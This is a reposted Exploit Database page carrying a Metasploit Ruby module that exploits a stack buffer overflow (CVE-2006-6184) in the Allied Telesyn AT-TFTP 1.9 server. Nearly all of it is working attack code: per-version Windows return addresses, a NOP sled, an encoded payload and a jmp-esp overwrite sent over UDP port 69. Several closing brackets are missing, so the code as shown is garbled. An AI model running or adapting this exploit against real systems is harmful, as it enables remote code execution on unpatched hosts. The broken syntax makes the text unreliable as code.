Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 – Long Filename Overflow (Metasploit)

Exploit Database
117 阅读

作者： Metasploit

日期： 2011-03-05
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16350/

# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a

request (get/write) for an overly long file name.

'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],

'Version'=> '$Revision: 11882 $',

'References' =>

[

['CVE', '2006-6184'],

['OSVDB', '11350'],

['BID', '21320'],

['URL','http://milw0rm.com/exploits/2887'],

['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 210,

'BadChars' => "\x00",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24

[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],

[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],

[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],

[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],

[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],

[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],

[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],

[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],

[ 'Windows Server 2003',{ 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert

'Privileged' => false,

'DisclosureDate' => 'Nov 27 2006'))

register_options(

[

Opt::RPORT(69),

Opt::LHOST() # Required for stack offset

], self.class)

end

def exploit

connect_udp

sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)

sploit << payload.encoded

sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.

sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn

sploit << "\x00" + "netascii" + "\x00"

udp_sock.put(sploit)

disconnect_udp

end